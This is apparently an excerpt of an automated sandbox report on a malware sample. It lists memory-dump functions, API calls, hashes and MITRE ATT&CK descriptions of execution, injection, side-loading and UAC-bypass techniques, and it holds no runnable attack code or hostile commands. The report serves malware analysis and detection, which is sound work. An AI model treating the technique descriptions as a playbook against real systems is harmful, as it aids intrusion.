Function 00A7DFB3 Relevance: 1.5, APIs: 1, Instructions: 7
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00A7DFB7

Memory Dump Source

Source File: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1ac34a3193b14d8b8393c10a6f7abe1ec2d5e494caf0df89fdefe50b40b23d89
Instruction ID: 6dddeec60c82b975eef8bb27d0e497560b94adb3820ac0c3538c287b1cadc051
Opcode Fuzzy Hash: 1ac34a3193b14d8b8393c10a6f7abe1ec2d5e494caf0df89fdefe50b40b23d89
Instruction Fuzzy Hash: 2DB012351451149BCF002FA5588C4EFBFF4FD09361F504415F04AD2400D53204018BA5

Function 008EE6DC Relevance: 1.3, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 008EE8A0

Memory Dump Source

Source File: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4847541619e4b60add24e83ab722ae94342fee4dfa7bf8a73add454a71cc1858
Instruction ID: 65eac40e51e2672772bfcf89e705e1f6f53de8e1bca1894855cca10f3520ce0d
Opcode Fuzzy Hash: 4847541619e4b60add24e83ab722ae94342fee4dfa7bf8a73add454a71cc1858
Instruction Fuzzy Hash: E31173B290C719AFD3409F6A884457AF7E8FF94720F21883EF989D7240E1319C508B52

Function 008EEEEF Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 008EEF14

Memory Dump Source

Source File: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c0fc716169771cb49c0ba10dbedd79a79e3aa5c68b83d8e98054387aa1ad3f69
Instruction ID: b2f79178a5b304567998de2925af8e73389af452615386304d9715982f3bcdd2
Opcode Fuzzy Hash: c0fc716169771cb49c0ba10dbedd79a79e3aa5c68b83d8e98054387aa1ad3f69
Instruction Fuzzy Hash: 6BE01A7140C70E8BDB047F78880C1ADBBA0EF45621F050A2DDD9287A81EA326D208A4A

Non-executed Functions

Function 008EE033 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9cedb38eb053e7ace57adae0db31d6e735a239ee66f6e136b6bb77245105be4
Instruction ID: 7a34b862507a5fcd5f8e28e5d86122f4815715721223077f53d0f18e1833b8bc
Opcode Fuzzy Hash: b9cedb38eb053e7ace57adae0db31d6e735a239ee66f6e136b6bb77245105be4
Instruction Fuzzy Hash: CC31E7718086DEDEDF258E2791051EE7B79FB67332F34442AE802C2D51C2F20D95AA59

Function 00A8499F Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000003.00000002.2450126793.00000000008E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450162759.00000000008E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450180141.00000000008EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450199038.00000000008F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450296640.0000000000A50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450315552.0000000000A52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450337723.0000000000A6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450354352.0000000000A6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450371079.0000000000A6E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450418475.0000000000AA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450436046.0000000000AA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450454549.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450471987.0000000000AAF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450488473.0000000000AB0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450507020.0000000000AB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450523612.0000000000AB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450561140.0000000000AC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450578416.0000000000ACB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450598639.0000000000ADB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450617053.0000000000ADD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450636249.0000000000AE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450653150.0000000000AEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450669329.0000000000AEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450686432.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450704455.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450725336.0000000000AF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450743845.0000000000B01000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450760101.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450778205.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450794867.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450810548.0000000000B0F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450826364.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450841280.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450858333.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450878026.0000000000B2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450894508.0000000000B2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450920521.0000000000B66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450936083.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450954066.0000000000B79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2450987324.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2451003164.0000000000B8A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e0000_MMS43LFVAQOG1OXT3FFOALII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4df001af7740a0cc98407ccacddb0178aaceedce86d530e57cc199d6900a03
Instruction ID: 74dd4374f13ff2f72804eaac747b9e09525c500233710ca95b12eb4b9ca0931e
Opcode Fuzzy Hash: 3b4df001af7740a0cc98407ccacddb0178aaceedce86d530e57cc199d6900a03
Instruction Fuzzy Hash: 46E04636008205AEC700AF54C845A9FFBF8FF19311F61888AE884CB722C3358C51CB2A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

